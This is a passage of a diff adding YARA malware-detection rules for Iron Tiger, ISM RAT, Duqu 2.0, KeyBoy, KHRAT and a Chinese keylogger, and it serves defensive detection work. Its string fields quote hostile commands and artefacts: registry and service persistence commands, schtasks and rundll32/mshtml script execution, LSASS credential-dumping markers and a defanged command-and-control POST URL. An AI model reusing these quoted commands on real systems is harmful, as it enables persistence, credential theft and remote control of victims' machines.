|
||||
strings:
|
||||
$str1 = "EFH3 [HEX] [SRCFILE] [DSTFILE]" nocase wide ascii
|
||||
$str2 = "123.EXE 123.EFH" nocase wide ascii
|
||||
$str3 = "ENCODER: b[i]: = " nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and (any of ($str*))
|
||||
}
|
||||
|
||||
rule IronTiger_GetPassword_x64
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Malware - GetPassword x64"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "(LUID ERROR)" nocase wide ascii
|
||||
$str2 = "Users\\K8team\\Desktop\\GetPassword" nocase wide ascii
|
||||
$str3 = "Debug x64\\GetPassword.pdb" nocase wide ascii
|
||||
$bla1 = "Authentication Package:" nocase wide ascii
|
||||
$bla2 = "Authentication Domain:" nocase wide ascii
|
||||
$bla3 = "* Password:" nocase wide ascii
|
||||
$bla4 = "Primary User:" nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
|
||||
}
|
||||
|
||||
rule IronTiger_GTalk_Trojan
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Malware - GTalk Trojan"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "gtalklite.com" nocase wide ascii
|
||||
$str2 = "computer=%s&lanip=%s&uid=%s&os=%s&data=%s" nocase wide ascii
|
||||
$str3 = "D13idmAdm" nocase wide ascii
|
||||
$str4 = "Error: PeekNamedPipe failed with %i" nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and (2 of ($str*))
|
||||
}
|
||||
|
||||
rule IronTiger_HTTP_SOCKS_Proxy_soexe
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Toolset - HTTP SOCKS Proxy soexe"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "listen SOCKET error." nocase wide ascii
|
||||
$str2 = "WSAAsyncSelect SOCKET error." nocase wide ascii
|
||||
$str3 = "new SOCKETINFO error!" nocase wide ascii
|
||||
$str4 = "Http/1.1 403 Forbidden" nocase wide ascii
|
||||
$str5 = "Create SOCKET error." nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and (3 of ($str*))
|
||||
}
|
||||
|
||||
rule IronTiger_NBDDos_Gh0stvariant_dropper
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Malware - NBDDos Gh0stvariant Dropper"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "This service can't be stoped." nocase wide ascii
|
||||
$str2 = "Provides support for media palyer" nocase wide ascii
|
||||
$str4 = "CreaetProcess Error" nocase wide ascii
|
||||
$bla1 = "Kill You" nocase wide ascii
|
||||
$bla2 = "%4.2f GB" nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
|
||||
}
|
||||
|
||||
rule IronTiger_PlugX_DosEmulator
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Malware - PlugX DosEmulator"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "Dos Emluator Ver" nocase wide ascii
|
||||
$str2 = "\\PIPE\\FASTDOS" nocase wide ascii
|
||||
$str3 = "FastDos.cpp" nocase wide ascii
|
||||
$str4 = "fail,error code = %d." nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and (any of ($str*))
|
||||
}
|
||||
|
||||
rule IronTiger_PlugX_FastProxy
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Malware - PlugX FastProxy"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "SAFEPROXY HTServerTimer Quit!" nocase wide ascii
|
||||
$str2 = "Useage: %s pid" nocase wide ascii
|
||||
$str3 = "%s PORT[%d] TO PORT[%d] SUCCESS!" nocase wide ascii
|
||||
$str4 = "p0: port for listener" nocase wide ascii
|
||||
$str5 = "\\users\\whg\\desktop\\plug\\" nocase wide ascii
|
||||
$str6 = "[+Y] cwnd : %3d, fligth:" nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and (any of ($str*))
|
||||
}
|
||||
|
||||
rule IronTiger_PlugX_Server
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Malware - PlugX Server"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "\\UnitFrmManagerKeyLog.pas" nocase wide ascii
|
||||
$str2 = "\\UnitFrmManagerRegister.pas" nocase wide ascii
|
||||
$str3 = "Input Name..." nocase wide ascii
|
||||
$str4 = "New Value#" nocase wide ascii
|
||||
$str5 = "TThreadRControl.Execute SEH!!!" nocase wide ascii
|
||||
$str6 = "\\UnitFrmRControl.pas" nocase wide ascii
|
||||
$str7 = "OnSocket(event is error)!" nocase wide ascii
|
||||
$str8 = "Make 3F Version Ok!!!" nocase wide ascii
|
||||
$str9 = "PELEASE DO NOT CHANGE THE DOCAMENT" nocase wide ascii
|
||||
$str10 = "Press [Ok] Continue Run, Press [Cancel] Exit" nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and (2 of ($str*))
|
||||
}
|
||||
|
||||
rule IronTiger_ReadPWD86
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Malware - ReadPWD86"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "Fail To Load LSASRV" nocase wide ascii
|
||||
$str2 = "Fail To Search LSASS Data" nocase wide ascii
|
||||
$str3 = "User Principal" nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and (all of ($str*))
|
||||
}
|
||||
|
||||
rule IronTiger_Ring_Gh0stvariant
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Malware - Ring Gh0stvariant"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "RING RAT Exception" nocase wide ascii
|
||||
$str2 = "(can not update server recently)!" nocase wide ascii
|
||||
$str4 = "CreaetProcess Error" nocase wide ascii
|
||||
$bla1 = "Sucess!" nocase wide ascii
|
||||
$bla2 = "user canceled!" nocase wide ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
|
||||
}
|
||||
|
||||
rule IronTiger_wmiexec
|
||||
{
|
||||
meta:
|
||||
author = "Cyber Safety Solutions, Trend Micro"
|
||||
description = "Iron Tiger Tool - wmi.vbs detection"
|
||||
reference = "http://goo.gl/T5fSJC"
|
||||
strings:
|
||||
$str1 = "Temp Result File , Change it to where you like" nocase wide ascii
|
||||
$str2 = "wmiexec" nocase wide ascii
|
||||
$str3 = "By. Twi1ight" nocase wide ascii
|
||||
$str4 = "[both mode] ,delay TIME to read result" nocase wide ascii
|
||||
$str5 = "such as nc.exe or Trojan" nocase wide ascii
|
||||
$str6 = "+++shell mode+++" nocase wide ascii
|
||||
$str7 = "win2008 fso has no privilege to delete file" nocase wide ascii
|
||||
condition:
|
||||
2 of ($str*)
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Ahmed Zaki
|
||||
Date: 2017-05-04
|
||||
Identifier: ISM RAT
|
||||
Reference: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/february/ism-rat/
|
||||
*/
|
||||
|
||||
rule Trojan_ISMRAT_gen {
|
||||
meta:
|
||||
description = "ISM RAT"
|
||||
author = "Ahmed Zaki"
|
||||
reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/february/ism-rat/"
|
||||
hash1 = "146a112cb01cd4b8e06d36304f6bdf7b"
|
||||
hash2 = "fa3dbe37108b752c38bf5870b5862ce5"
|
||||
hash3 = "bf4b07c7b4a4504c4192bd68476d63b5"
|
||||
strings:
|
||||
$s1 = "WinHTTP Example/1.0" wide
|
||||
$s2 = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0" wide
|
||||
$s3 = "|||Command executed successfully"
|
||||
$dir = /Microsoft\\Windows\\Tmpe[a-z0-9]{2,8}/
|
||||
condition:
|
||||
uint16(0) == 0x5A4D and all of them
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Mixed - Kasperksy & Florian Roth
|
||||
Date: 2015-06-10
|
||||
Identifier: Duqu2
|
||||
*/
|
||||
|
||||
/* Rules by Kaspersky ------------------------------------------------------ */
|
||||
|
||||
rule apt_duqu2_loaders {
|
||||
meta:
|
||||
copyright = "Kaspersky Lab"
|
||||
description = "Rule to detect Duqu 2.0 samples"
|
||||
last_modified = "2015-06-09"
|
||||
version = "1.0"
|
||||
strings:
|
||||
$a1 = "{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
|
||||
$a2 = "\\\\.\\pipe\\{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
|
||||
$a4 = "\\\\.\\pipe\\{AB6172ED-8105-4996-9D2A-597B5F827501}" wide
|
||||
$a5 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" wide
|
||||
$a8 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" wide
|
||||
$a9 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" wide
|
||||
$a7 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" wide
|
||||
$b1 = "MSI.dll"
|
||||
$b2 = "msi.dll"
|
||||
$b3 = "StartAction"
|
||||
$c1 = "msisvc_32@" wide
|
||||
$c2 = "PROP=" wide
|
||||
$c3 = "-Embedding" wide
|
||||
$c4 = "S:(ML;;NW;;;LW)" wide
|
||||
$d1 = "NameTypeBinaryDataCustomActionActionSourceTargetInstallExecuteSequenceConditionSequencePropertyValueMicrosoftManufacturer" nocase
|
||||
$d2 = {2E 3F 41 56 3F 24 5F 42 69 6E 64 40 24 30 30 58 55 3F 24 5F 50 6D 66 5F 77 72 61 70 40 50 38 43 4C 52 ?? 40 40 41 45 58 58 5A 58 56 31 40 24 24 24 56 40 73 74 64 40 40 51 41 56 43 4C 52 ?? 40 40 40 73 74 64 40 40}
|
||||
condition:
|
||||
( (uint16(0) == 0x5a4d) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) ) and filesize < 100000 )
|
||||
or
|
||||
( (uint32(0) == 0xe011cfd0) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) or (any of ($d*)) ) and filesize < 20000000 )
|
||||
}
|
||||
|
||||
rule apt_duqu2_drivers {
|
||||
meta:
|
||||
copyright = "Kaspersky Lab"
|
||||
description = "Rule to detect Duqu 2.0 drivers"
|
||||
last_modified = "2015-06-09"
|
||||
version = "1.0"
|
||||
strings:
|
||||
$a1 = "\\DosDevices\\port_optimizer" wide nocase
|
||||
$a2 = "romanian.antihacker"
|
||||
$a3 = "PortOptimizerTermSrv" wide
|
||||
$a4 = "ugly.gorilla1"
|
||||
$b1 = "NdisIMCopySendCompletePerPacketInfo"
|
||||
$b2 = "NdisReEnumerateProtocolBindings"
|
||||
$b3 = "NdisOpenProtocolConfiguration"
|
||||
condition:
|
||||
uint16(0) == 0x5A4D and (any of ($a*) ) and (2 of ($b*)) and filesize < 100000
|
||||
}
|
||||
|
||||
/* Action Loader Samples --------------------------------------------------- */
|
||||
|
||||
rule Duqu2_Generic1 {
|
||||
meta:
|
||||
description = "Kaspersky APT Report - Duqu2 Sample - Generic Rule"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/7yKyOj"
|
||||
date = "2015-06-10"
|
||||
super_rule = 1
|
||||
hash0 = "3f9168facb13429105a749d35569d1e91465d313"
|
||||
hash1 = "0a574234615fb2382d85cd6d1a250d6c437afecc"
|
||||
hash2 = "38447ed1d5e3454fe17699f86c0039f30cc64cde"
|
||||
hash3 = "5282d073ee1b3f6ce32222ccc2f6066e2ca9c172"
|
||||
hash4 = "edfca3f0196788f7fde22bd92a8817a957c10c52"
|
||||
hash5 = "6a4ffa6ca4d6fde8a30b6c8739785f4bd2b5c415"
|
||||
hash6 = "00170bf9983e70e8dd4f7afe3a92ce1d12664467"
|
||||
hash7 = "32f8689fd18c723339414618817edec6239b18f3"
|
||||
hash8 = "f860acec9920bc009a1ad5991f3d5871c2613672"
|
||||
hash9 = "413ba509e41c526373f991d1244bc7c7637d3e13"
|
||||
hash10 = "29cd99a9b6d11a09615b3f9ef63f1f3cffe7ead8"
|
||||
hash11 = "dfe1cb775719b529138e054e7246717304db00b1"
|
||||
strings:
|
||||
$s0 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" fullword wide
|
||||
$s1 = "SetSecurityDescriptorSacl" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 189 times */
|
||||
$s2 = "msisvc_32@" fullword wide
|
||||
$s3 = "CompareStringA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 1392 times */
|
||||
$s4 = "GetCommandLineW" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 1680 times */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 150KB and all of them
|
||||
}
|
||||
|
||||
rule APT_Kaspersky_Duqu2_procexp {
|
||||
meta:
|
||||
description = "Kaspersky APT Report - Duqu2 Sample - Malicious MSI"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/7yKyOj"
|
||||
date = "2015-06-10"
|
||||
hash1 = "2422835716066b6bcecb045ddd4f1fbc9486667a"
|
||||
hash2 = "b120620b5d82b05fee2c2153ceaf305807fa9f79"
|
||||
hash3 = "288ebfe21a71f83b5575dfcc92242579fb13910d"
|
||||
strings:
|
||||
$x1 = "svcmsi_32.dll" fullword wide
|
||||
$x2 = "msi3_32.dll" fullword wide
|
||||
$x3 = "msi4_32.dll" fullword wide
|
||||
$x4 = "MSI.dll" fullword ascii
|
||||
|
||||
$s1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
|
||||
$s2 = "Sysinternals installer" fullword wide /* PEStudio Blacklist: strings */
|
||||
$s3 = "Process Explorer" fullword wide /* PEStudio Blacklist: strings */ /* Goodware String - occured 5 times */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) ) and ( all of ($s*) )
|
||||
}
|
||||
|
||||
rule APT_Kaspersky_Duqu2_SamsungPrint {
|
||||
meta:
|
||||
description = "Kaspersky APT Report - Duqu2 Sample - file 2a9a5afc342cde12c6eb9a91ad29f7afdfd8f0fb17b983dcfddceccfbc17af69"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/7yKyOj"
|
||||
date = "2015-06-10"
|
||||
hash = "ce39f41eb4506805efca7993d3b0b506ab6776ca"
|
||||
strings:
|
||||
$s0 = "Installer for printer drivers and applications" fullword wide /* PEStudio Blacklist: strings */
|
||||
$s1 = "msi4_32.dll" fullword wide
|
||||
$s2 = "HASHVAL" fullword wide
|
||||
$s3 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
|
||||
$s4 = "ca.dll" fullword ascii
|
||||
$s5 = "Samsung Electronics Co., Ltd." fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 82KB and all of them
|
||||
}
|
||||
|
||||
rule APT_Kaspersky_Duqu2_msi3_32 {
|
||||
meta:
|
||||
description = "Kaspersky APT Report - Duqu2 Sample - file d8a849654ab97debaf28ae5b749c3b1ff1812ea49978713853333db48c3972c3"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/7yKyOj"
|
||||
date = "2015-06-10"
|
||||
hash = "53d9ef9e0267f10cc10f78331a9e491b3211046b"
|
||||
strings:
|
||||
$s0 = "ProcessUserAccounts" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s1 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide /* PEStudio Blacklist: strings */
|
||||
$s2 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide /* PEStudio Blacklist: strings */
|
||||
$s3 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
|
||||
$s4 = "msi3_32.dll" fullword wide
|
||||
$s5 = "RunDLL" fullword ascii
|
||||
$s6 = "MSI Custom Action v3" fullword wide
|
||||
$s7 = "msi3_32" fullword wide
|
||||
$s8 = "Operating System" fullword wide /* PEStudio Blacklist: strings */ /* Goodware String - occured 9203 times */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 72KB and all of them
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-11-02
|
||||
Identifier: Keyboys
|
||||
Reference: http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html
|
||||
*/
|
||||
|
||||
import "pe"
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule KeyBoys_malware_1 {
|
||||
meta:
|
||||
description = "Detects Keyboys malware"
|
||||
author = "Florian Roth"
|
||||
reference = "http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html"
|
||||
date = "2017-11-02"
|
||||
hash1 = "1d716cee0f318ee14d7c3b946a4626a1afe6bb47f69668065e00e099be362e22"
|
||||
hash2 = "a6e9951583073ab2598680b17b8b99bab280d6dca86906243bafaf3febdf1565"
|
||||
hash3 = "34f740e5d845710ede1d942560f503e117600bcc7c5c17e03c09bfc66556196c"
|
||||
hash4 = "750f4a9ae44438bf053ffb344b959000ea624d1964306e4b3806250f4de94bc8"
|
||||
hash5 = "fc84856814307a475300d2a44e8d15635dedd02dc09a088a47d1db03bc309925"
|
||||
hash6 = "0f9a7efcd3a2b1441834dae7b43cd8d48b4fc1daeb2c081f908ac5a1369de753"
|
||||
strings:
|
||||
$x1 = "reg add HKLM\\%s\\Parameters /v ServiceDll /t REG_EXPAND_SZ /d \"%s\" /f" fullword ascii
|
||||
$x3 = "Internet using \\svchost.exe -k -n 3" fullword ascii
|
||||
$x4 = "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v SFCDisable /t REG_DWORD /d 4 /f" fullword ascii
|
||||
|
||||
$s1 = "sc create %s binpath= \"%s\" Type= share Start= auto DisplayName= \"%s\"" fullword ascii
|
||||
$s2 = "ExecCmd:%s" fullword ascii
|
||||
$s3 = "szCommand : %s" fullword ascii
|
||||
$s4 = "Current user is a member of the %s\\%s group" fullword ascii
|
||||
$s5 = "icacls %s /grant administrators:F" fullword ascii
|
||||
$s6 = "Ping 127.0.0.1 goto Repeat" fullword ascii
|
||||
$s7 = "Start MoveFile %s -> %s" fullword ascii
|
||||
$s8 = "move %s\\dllcache%s %s\\dllcache\\%s" fullword ascii
|
||||
$s9 = "%s\\cmd.exe /c \"%s\"" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 3000KB and (
|
||||
pe.imphash() == "68f7eced34c46808756db4b0c45fb589" or
|
||||
( pe.exports("Insys") and pe.exports("Inuser") and pe.exports("SSSS") ) or
|
||||
1 of ($x*) or
|
||||
4 of them
|
||||
)
|
||||
}
|
||||
|
||||
/* Update March 2018 */
|
||||
|
||||
rule KeyBoy_InstallClient {
|
||||
meta:
|
||||
description = "Detects KeyBoy InstallClient"
|
||||
author = "Markus Neis, Florian Roth"
|
||||
reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
|
||||
date = "2018-03-26"
|
||||
hash1 = "85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b"
|
||||
hash2 = "b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a"
|
||||
hash1 = "d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a"
|
||||
strings:
|
||||
$x1 = "egsvr32.exe \"/u bitsadmin /canceft\\windows\\currebitsadmin" ascii
|
||||
$x2 = "/addfibitsadmin /Resumbitsadmin /SetNosoftware\\microsotifyCmdLine " ascii
|
||||
$x3 = "D:\\Work\\Project\\VS\\house\\Apple\\" ascii
|
||||
$x4 = "Bj+I11T6z9HFMG5Z5FMT/u62z9zw8FyWV0xrcK7HcYXkiqnAy5tc/iJuKtwM8CT3sFNuQu8xDZQGSR6D8/Bc/Dpuz8gMJFz+IrYqNAzwuPIitg==" fullword ascii
|
||||
$x5 = "szCmd1:%s" fullword ascii
|
||||
|
||||
$s1 = "cmd.exe /c \"%s\"" fullword ascii
|
||||
$s4 = "rundll32.exe %s Main" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 3000KB and ( 1 of ($x*) or 2 of them )
|
||||
}
|
||||
|
||||
rule KeyBoy_wab32res {
|
||||
meta:
|
||||
description = "Detects KeyBoy Loader wab32res.dll"
|
||||
author = "Markus Neis, Florian Roth"
|
||||
reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
|
||||
date = "2018-03-26"
|
||||
hash1 = "02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456"
|
||||
hash2 = "fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6"
|
||||
strings:
|
||||
$x1 = "B4490-2314-55C1- /Processid:{321bitsadmin /canceft\\windows\\curresoftware\\microso" fullword ascii
|
||||
$x2 = "D:\\Work\\VS\\House\\TSSL\\TSSL\\TClient" ascii
|
||||
$x3 = "\\Release\\FakeRun.pdb" ascii
|
||||
$x4 = "FakeRun.dll" fullword ascii
|
||||
|
||||
$s1 = "cmd.exe /c \"%s\"" fullword ascii
|
||||
$s2 = "CreateProcess failed (%d)" fullword ascii
|
||||
$s3 = "CreateProcess %s " fullword ascii
|
||||
$s4 = "FindResource %s error " fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($x*) or 4 of them )
|
||||
}
|
||||
|
||||
rule KeyBoy_rasauto {
|
||||
meta:
|
||||
description = "Detects KeyBoy ServiceClient"
|
||||
author = "Markus Neis, Florian Roth"
|
||||
reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
|
||||
date = "2018-03-26"
|
||||
hash1 = "49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245"
|
||||
strings:
|
||||
$x1 = "rundll32.exe %s SSSS & exit" fullword ascii
|
||||
$x2 = "D:\\Work\\Project\\VS\\HSSL\\HSSL_Unicode _2\\Release\\ServiceClient.pdb" fullword ascii
|
||||
|
||||
$s1 = "cmd.exe /c \"%s\"" fullword ascii
|
||||
$s2 = "CreateProcess failed (%d)" fullword ascii
|
||||
$s3 = "ServiceClient.dll" fullword ascii
|
||||
$s4 = "NtWow64QueryInformationProcess64 failed" fullword ascii
|
||||
$s5 = "pid:%d CmdLine:%S" fullword ascii
|
||||
$s6 = "rasauto32.ServiceMain" fullword ascii
|
||||
$s7 = "del /q/f %s\\%s*" fullword ascii
|
||||
$s8 = "szTmpDll:%s" fullword ascii
|
||||
$s9 = "lpCmdLine:%s" fullword ascii
|
||||
$s0 = "ReleaseFileFromRes:%s ok!" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 1000KB and (
|
||||
pe.exports("SSSS") or
|
||||
1 of ($x*) or
|
||||
4 of them
|
||||
)
|
||||
}
|
||||
|
||||
rule KeyBoy_876_0x4e20000 {
|
||||
meta:
|
||||
description = "Detects KeyBoy Backdoor"
|
||||
author = "Markus Neis, Florian Roth"
|
||||
reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
|
||||
date = "2018-03-26"
|
||||
hash1 = "6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334"
|
||||
strings:
|
||||
$x1 = "%s\\rundll32.exe %s ServiceTake %s %s" fullword ascii
|
||||
$x2 = "#%sCmd shell is not running,or your cmd is error!" fullword ascii
|
||||
$x3 = "Take Screen Error,May no user login!" fullword ascii
|
||||
$x4 = "Get logon user fail!" fullword ascii
|
||||
$x5 = "8. LoginPasswd:%s" fullword ascii
|
||||
$x6 = "Take Screen Error,service dll not exists" fullword ascii
|
||||
|
||||
$s1 = "taskkill /f /pid %s" fullword ascii
|
||||
$s2 = "TClient.exe" fullword ascii
|
||||
$s3 = "%s\\wab32res.dll" fullword ascii
|
||||
$s4 = "%s\\rasauto.dll" fullword ascii
|
||||
$s5 = "Download file:%s index:%d" fullword ascii
|
||||
$s6 = "LogonUser: [%s]" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 2000KB and (
|
||||
1 of ($x*) or
|
||||
3 of them
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-03-07
|
||||
Identifier: CN Keylogger APT
|
||||
*/
|
||||
|
||||
rule Keylogger_CN_APT {
|
||||
meta:
|
||||
description = "Keylogger - generic rule for a Chinese variant"
|
||||
author = "Florian Roth"
|
||||
date = "2016-03-07"
|
||||
score = 75
|
||||
hash = "3efb3b5be39489f19d83af869f11a8ef8e9a09c3c7c0ad84da31fc45afcf06e7"
|
||||
strings:
|
||||
$x1 = "Mozilla/4.0 (compatible; MSIE6.0;Windows NT 5.1)" fullword ascii
|
||||
$x2 = "attrib -s -h -r c:\\ntldr" fullword ascii
|
||||
$x3 = "%sWindows NT %d.%d" fullword ascii
|
||||
$x4 = "Referer: http://%s/%s.aspx?n=" fullword ascii
|
||||
|
||||
$s1 = "\\cmd.exe /c \"systeminfo.exe >> " fullword ascii
|
||||
$s2 = "%s\\cmd.exe /c %s >> \"%s\"" fullword ascii
|
||||
$s3 = "shutdown.exe -r -t 0" fullword ascii
|
||||
$s4 = "dir \"%SystemDrive%\\\" /s /a" fullword ascii
|
||||
$s5 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" fullword ascii
|
||||
$s6 = "http_s.exe" fullword ascii
|
||||
$s7 = "User Agent\\Post Platform\\" fullword ascii
|
||||
$s8 = "desktop.tmp" fullword ascii
|
||||
$s9 = "\\support.icw" fullword ascii
|
||||
$s10 = "agc.tmp" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 100KB and 1 of ($x*) ) or 3 of them
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-08-31
|
||||
Identifier: KHRAT RAT
|
||||
Reference: https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/
|
||||
*/
|
||||
|
||||
import "pe"
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule KHRAT_Malware {
|
||||
meta:
|
||||
description = "Detects an Imphash of KHRAT malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
|
||||
date = "2017-08-31"
|
||||
hash1 = "53e27fd13f26462a58fa5587ecd244cab4da23aa80cf0ed6eb5ee9f9de2688c1"
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 100KB and pe.imphash() == "6a8478ad861f98f8428a042f74de1944"
|
||||
}
|
||||
|
||||
rule MAL_KHRAT_script {
|
||||
meta:
|
||||
description = "Rule derived from KHRAT script but can match on other malicious scripts as well"
|
||||
author = "Florian Roth"
|
||||
reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
|
||||
date = "2017-08-31"
|
||||
hash1 = "8c88b4177b59f4cac820b0019bcc7f6d3d50ce4badb689759ab0966780ae32e3"
|
||||
strings:
|
||||
$x1 = "CreateObject(\"WScript.Shell\").Run \"schtasks /create /sc MINUTE /tn" ascii
|
||||
$x2 = "CreateObject(\"WScript.Shell\").Run \"rundll32.exe javascript:\"\"\\..\\mshtml,RunHTMLApplication" ascii
|
||||
$x3 = "<registration progid=\"ff010f\" classid=\"{e934870c-b429-4d0d-acf1-eef338b92c4b}\" >" fullword ascii
|
||||
condition:
|
||||
1 of them
|
||||
}
|
||||
|
||||
rule MAL_KHRAT_scritplet {
|
||||
meta:
|
||||
description = "Rule derived from KHRAT scriptlet"
|
||||
author = "Florian Roth"
|
||||
reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
|
||||
date = "2017-08-31"
|
||||
hash1 = "cdb9104636a6f7c6018fe99bc18fb8b542689a84c23c10e9ea13d5aa275fd40e"
|
||||
strings:
|
||||
$x1 = "http.open \"POST\", \"http://update.upload-dropbox[.]com/docs/tz/GetProcess.php\",False,\"\",\"\" " fullword ascii
|
||||
$x2 = "Process=Process & Chr(32) & Chr(32) & Chr(32) & Obj.Description" fullword ascii
|
||||
|
||||
